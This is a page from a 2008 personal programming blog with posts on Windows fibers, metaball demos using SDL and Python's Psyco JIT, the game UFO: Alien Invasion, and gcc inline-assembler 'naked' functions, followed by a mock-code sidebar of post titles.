As you can see, the code is rather simple - the scheduler is in a loop, which breaks when all the fibers are done (which is checked at the beginning of the loop). In the loop there is only the previously-mentioned check, selecting another not-finished fiber, and switching to it. After the return from worker-fiber the code executes from the switch place, and makes another loop iteration, until all the fibers finish their work. The thread execution looks like this: ConvertThreadToFiber -> SwitchToFiber(FiberScheduler) -> SwitchToFiber(Fiber[0]) -> SwitchToFiber(FiberScheduler) -> SwitchToFiber(Fiber[1]) -> SwitchToFiber(FiberScheduler) -> ...
What's interesting, the scheduler doesn't have to have a separate fiber - it can be integrated with the worker-fibers to form a kind of looped linked list - each fiber knows which fiber is "next" in the queue, and performs SwitchToFiber(NextFiber) after a piece of work is done.
Of course the fibers do not have to pretend there are threads (preemption, changing the tasks while executing, etc), they can be task-orientated - each fiber would work uninterrupted from its start to its end, and then would switch to the scheduler which would choose another fiber-task. It sounds useful.
And now let's take a look from another side. How does this all work? After a moment one can figure out that it's rather simple to create such a mechanism. The fiber itself can be described by a simple structure that stores registry values (general purpose, flags, coprocessor and extensions (it's almost the same thing anyway ;>)), the EIP address which tell where to continue the execution, and information about the memory reserved for the fiber (for example the stack - each fiber has it's own stack). When we have such a structure, then the SwitchToFiber is trivial to write (store registry value, restores values from another fibers structure, and jump to it's EIP) and can be done totally in the user mode. Going a step further, CreateFiber just allocates and setups the previously described structure, so it can be done in user mode too. ConvertThreadToFiber doesn't really differ much from the CreateFiber, user mode too. So as one can imagine, the fiber mechanism seems rather simple, and doesn't require the usage of Fiber API (however it's still good that there is such an API).
Are fibers useful? It's a hard question. No usage which would reeeeallly require fibers comes to my mind. However, I don't see any reasons why fibers shouldn't be used in some places. I can suspect that if some daemon does task-based work it would use fibers. I see also some usage in case of some VMs/interpreters - for example, a multi threading in a VM handled by a bunch of threads with several fibers in each. Fibers have one good thing - they have their own stack, so if they mess something bad with the stack, other fibers are untouched.
IMHO fibers are quire interesting, and maybe I'll even use them someplace in the future. If some idea that would make sens comes to my mind, I'll post it here ;> Btw, Linux doesn't have fibers built-in, but google said that there are several fiber libs (however I don't know if these are the fibers I'm talking about ;>)
OK, thats it for today.
fibers.cpp (3kb)
No comments
| | 2008-08-25: Metaball, Python+Pygame+Psyco and SDL+C++ |
 I've been on a Vexillium team meeting for the last few days, and I can say that it was very inspiring. Among other things, I had the chance to give a talk about old-school 2D graphic effects, where, inter alia, I've talked about metaballs, and I've shown a not-too-fancy, but still working, "educational" metaball implementation (without ANY optimization, and I mean ANY) in SDL+C++ (see the clickable screenshot on the left). The lack of optimisation was so bad (14 FPS at my PC), that I had to create a version that used 4 cores just to present a smooth animation ;>. Links to the metaball source code (and binaries) are at the bottom of this post, and should appear in the code section in a few days (as soon as I create a code section that is ;p).
At the meeting we also talked a little about JITs, and a question arouse - does Python has JIT? It seems it doesn't, however there is an external JIT called Psyco, that is operated from the script source. You just add import psyco, and then tell the JIT what functions it should compile - psyco.bind(function), or tell it to compile everything - psyco.full(), and thats it. You don't have to change the Python interpreter, patch it, or anything like that - You just install or compile+install Psyco, import, and it works.
 I have to admit that I really liked the way Psyco works, and so I decided to try it out on a real thing. I've made a port of metaballs to Python (no opt. included), and I've checked if Psyco makes a difference. It does. Without psyco, my Python metaballs rendered one frame 2.5 seconds (talk about slow ;p). With Psyco turned on for some functions, the rendering time came down to 1.1 sec, and if Psyco was in "full" mode, then another 0.1 sec was gained. Maybe 1 sec isn't to fast for metaballs, but 250% gain ratio by just adding 3 lines of code seems really good! Btw, I've used the pygame for rendering (see screenshot on the right) - the library seems very usable.
OK, thats all for today. P.S. In the menu, I've added a missing (for unknown reasons) link to the RSS feeds. In a few days I should be able to create a section with some code snippets and advisories, and move the stuff from old blogs there.
Code: metaballs.cpp (7kb, libSDL is required) metaballs.exe (7kb, libSDL DLL is required) metaballs_4c.cpp (9kb, libSDL is required) metaballs_4c.exe (7kb, libSDL DLL is required) metaballs.py (5kb, pygame is required) metaballs_psyco.py (5kb, pygame and psyco are required)
No comments
| | 2008-08-20: UFO: Alien Invasion |
About 14 years ago I've got my hands on UFO: Enemy Unknown (in USA it was released under the name X-COM: UFO Defense, but I prefer the European version), a strategic/economic/tactical game released by one of the rulers of computer game market in the old days - Microprose (they released such titles as, inter alia, Civilization, Colonization, or Transport Tycoon). The game was a solid product, from the storyline, up to the gfx and gameplay. In UFO:EU, the player controled an anti-space-alien organisation, both from the strategic/economic side (building bases, research, etc), and from the tactical side (controling single units on a battle field). After some time a sequel named X-COM: Terror from the deeps was released (based on the same engine). In the sequel the action was brought underwater (some on-land action also remained). Later the third part - X-COM: Apocalypse (on a brand new engine) was released - it cut down the game world to a single metropolis... and then I broke up with the series (I didn't like the 3rd part, the game lost it's touch imho).
 I've heard again about the UFO series about a year and a half ago, when I was looking through some games for Linux-based OS'es (games are the main reason I don't use a Linux-based OS) - I've found an open source project called UFO: Alien Invasion. UFO:AI is a try (quite successful as afar as my opinion goes) at recreating a similar game to both first UFO games, but at the same time a little more graphically advanced. The game was based on the Quake 2 engine, but I think it was decently modified, because the game feels like the good-old UFO, even though it's 3D (I hate when developers try to force 3D everywhere, but here it looks really good, and you can switch to isometric mode too ;>). When I first found the game, only a TechDemo was available (You could play one or several (I don't remember) tactical missions) - I played the TechDemo, and it was good. And now I just had to wait for a fully playable version...
Something like a year and a half later I've the game came to my mind once again (it's not entirely truth, since I visited the project site from time to time), and I started to search the Internet for it. Alas, the old domain (ufoai.net) had expired, but fortunately google told me that on SF the project still exists, and that the project site is available through a different address. I also found out that a fully playable version (YAY!) has been released (tagged with number 2.2.1). I've downloaded it and started playing.
 I must admit that they were able to recreate the awesome feel that the first two UFO games had! I especially like two things: texts in UFOpaedia (every found item is described there, before and after the analysis; additionally there are also descriptions of the aliens themselves, as well as descriptions of earth technologies, etc; someone did a great jobs writing them), and the tactical missions (snipers are REALLY snipers!). However, the game is still in development, and there are some bugs left, balance to be tweaked, and some stuff to be implemented. But you are still able to play, so if You have 30-40 minutes free time from time to time, I really recommend the game ;>
I've also found on the project site that in version 2.3 they are planning to release a new UI theme, which I like very much (it reminds me of Syndicate and Syndicate Wars - really good games).
OK, thats all > Try UFO:AI, and think about helping them out with the project in free time ;>
PS. On the last screen You can see that Rzeszów in year 2084 was moved to the south of the Europe ;D
No comments
| | 2008-08-18: Naked functions in gcc/g++ |
Recently I was creating in C++ (MinGW g++) a small library for runtime-patching. A need came to create an assembler-only functions, without any additions from the compiler - a "naked" function. However, even if compilers from Redmond support __declspec(naked) attribute for the x86 [Visual C++ Language Reference - naked (C++)], GNU compilers don't - they only support "naked" in ports for ARM, AVR, IP2K and SPU [Using the GNU Compiler Collection (For GCC version 4.3.0) - Function Attributes]. The problem had several possible solutions: 1. An external source file with the assembler function could be created, compiled to an object file (GNU AS), and in the end linked with the rest of the project. 2. Like above, but compiled with nasm (Netwide Assembler), thrown into an ASCIIZ string, and then the string would be casted to a function pointer (it might sound strange, but thats the way I usually do it). 3. Check how gcc/g++ compiles a function to assembler, and then use the inline assembler to do the same. The first point was a no-go since I didn't want to create additional external source files. The second one was also no good since I wanted the code to be readable and easy to modify. Only the third method had remain.
Checking how gcc/g++ compiles something to assembler is rather trivial, since there is a compiler option for it: -S (produces an .s file with assembler source instead of an object/executable file). If one likes Intel syntax over AT&T, one can add also -masm=intel option. It does not make any difference for me, so I stayed with the default AT&T. The tests were made on a simple function gimme_five, which returns 5, and does little more. The below listing is a result of compiling the function code with the MinGW gcc C compiler.
.globl _gimme_five .def _gimme_five; .scl 2; .type 32; .endef _gimme_five: pushl %ebp movl %esp, %ebp movl $5, %eax popl %ebp ret
The most important line in the above listing is the label declaration (3rd line), which is _gimme_five: (one has to remember that MinGW gcc appends an additional underscore at the beginning of function name; linux gcc don't append anything, neither does DJGPP). The two first lines, .globl _gimme_five and the one starting with .def are optional. The first one is useful when we want the function to be visible during linking phase (if we add the static argument to the function, then it would not appear). The second line is used to define additional options regarding the resulting object file [Using as (GNU Binutils version 2.17.90) - Assembler Directives] - I've totally omitted it.
A size-optimised code of the above function, with the necessary assembler directives looks like this:
.globl _gimme_five _gimme_five: movl $5, %eax ret
Translating it to C syntax we get the following (a C function declaration must be added of course, the compiler has to know that such a function indeed exists):
int gimme_five(void); __asm( ".globl _gimme_five\r\n" "_gimme_five:\r\n" " movl $5, %eax\r\n" " ret" );
Another thing is using the above schema in C++ - the function decoration issue occurs. Function name int gimme_five(void) will be translated in C++ (MinGW g++) to __Z10gimme_fivev, hence it's necessary to add additional label with the decorated function name (it's good that in inline assembler a place can has several labels describing it ;>):
int gimme_five(void); __asm( ".globl __Z10gimme_fivev\r\n" ".globl _gimme_five\r\n" "__Z10gimme_fivev:\r\n" "_gimme_five:\r\n" " movl $5, %eax\r\n" " ret" );
Of course instead of doubling the labels one can throw the C function declaration into the extern "C" { } block.
It's necessary to note that the above method does not allow the usage of function argument names. However it might be a good thing after all - the Microsoft compiler doesn't do so well when it comes to handling arguments in a naked function - it generates not working code (there were a couple of times I've looked for a bug for several hours, just to find out that the assembler code seems to forget about the missing function prologue/epilogue). To avoid this problem one can create two functions - an assembler "naked" wrapper, and a normal C function what would be called by the wrapper. The wrapper function would setup the arguments/rest of the environment, and thanks to that the C function could be constructed without the "naked" argument.
That's all for now ;>
No comments
Welcome to my new blog!
As one may know, I already had some blogs in the past. Some where in English, some in polish, and I couldn't decide on which ones I should post. And so I created this blog, in which the posts will be in two languages - Polish and English (see the language change buttons in the menu at the right). Since my Polish is a lot better than my English, the posts translation might not be direct ;>
What will this blog be about? Well, it will be about the things I do - coding, security in general meaning, and electronics. Well, the posts about electronics will be kindergarten-level, since I just began to play with it (but I already learned that connecting a 100 ohm resistor to a 12V power supply means getting burned ;p).
In the future I'll add to the blog a section with my papers, code snippets, and some projects.
With starting this blog I'm shutting down the other blogs - some will remain online, some won't.
I wish You all pleasant reading, and I encourage everyone to comment.
ps. '1rd' is a kind of tribute to netwars.pl ;>
No comments
|
int main()
{
lang = PL | EN;
RSS(PL, EN);
2008-11-15 = ".S.k.y.";
2008-10-23 = "Format bug, Vista and %n";
2008-10-21 = "An interesting anti-RE schema";
2008-10-15 = "Missing gettimeofday function and a race condition";
2008-10-10 = "SekIT 2008";
2008-09-30 = "Hacker Challenge 2008";
2008-09-30 = "Security Days - task 3, 4";
2008-09-25 = "Security Days 6 - task 2";
2008-09-21 = "Quick news - final results of Security Days 6 and photos from the SekIT conference";
2008-09-12 = "SekIT 2008";
2008-09-10 = "Security Days 6, day 1 - solution";
2008-09-10 = "Install Chrome, and You will stop being anonymous to Google";
2008-09-09 = "Security Days 6, day 1";
2008-09-08 = "Is function hooking in Chrome really a security mechanism?";
2008-09-06 = "Is automatic file download in Google Chrome really a vulnerability?";
2008-09-05 = "Remote Buffer Overflow in Google Chrome";
2008-09-04 = "Google Chrome's Sandbox";
2008-09-02 = "Google Chrome - first impression";
2008-09-02 = "Urban Terror";
2008-08-29 = "Subsection "Projects" and the first entry";
2008-08-28 = "Security Days 6";
2008-08-26 = "Old advisories";
2008-08-26 = "Fibers in a thread";
2008-08-25 = "Metaball, Python+Pygame+Psyco and SDL+C++";
2008-08-20 = "UFO: Alien Invasion";
2008-08-18 = "Naked functions in gcc/g++";
2008-08-16 = "1rd";
return "vexillium.org";
}
enum Sections
{
Security advisories
Projects
Photo gallery
About me
};
class OldSites
{
int gynvael_vexillium_org();
int gynvael_lunarii_org();
int gynvael_uw-blog_org();
};
class BlogRoll
{
int security_news();
int nemessica_uw-blog_org();
int icewalls_blog();
};
// copyright © 2k8 Gynvael Coldwind
/* the author and owner of this blog hereby allows anyone to test the security of this blog (on HTTP level only, the server is not mine, so let's leave it alone ;>), and try to break in (including successful breaks) without any consequences of any kind (DoS attacks are an exception here) ... I'll add that I planted in some places funny photos of some kittens, there are 7 of them right now, so have fun looking for them ;> let me know if You find them all, I'll add some congratz message or sth ;> */
|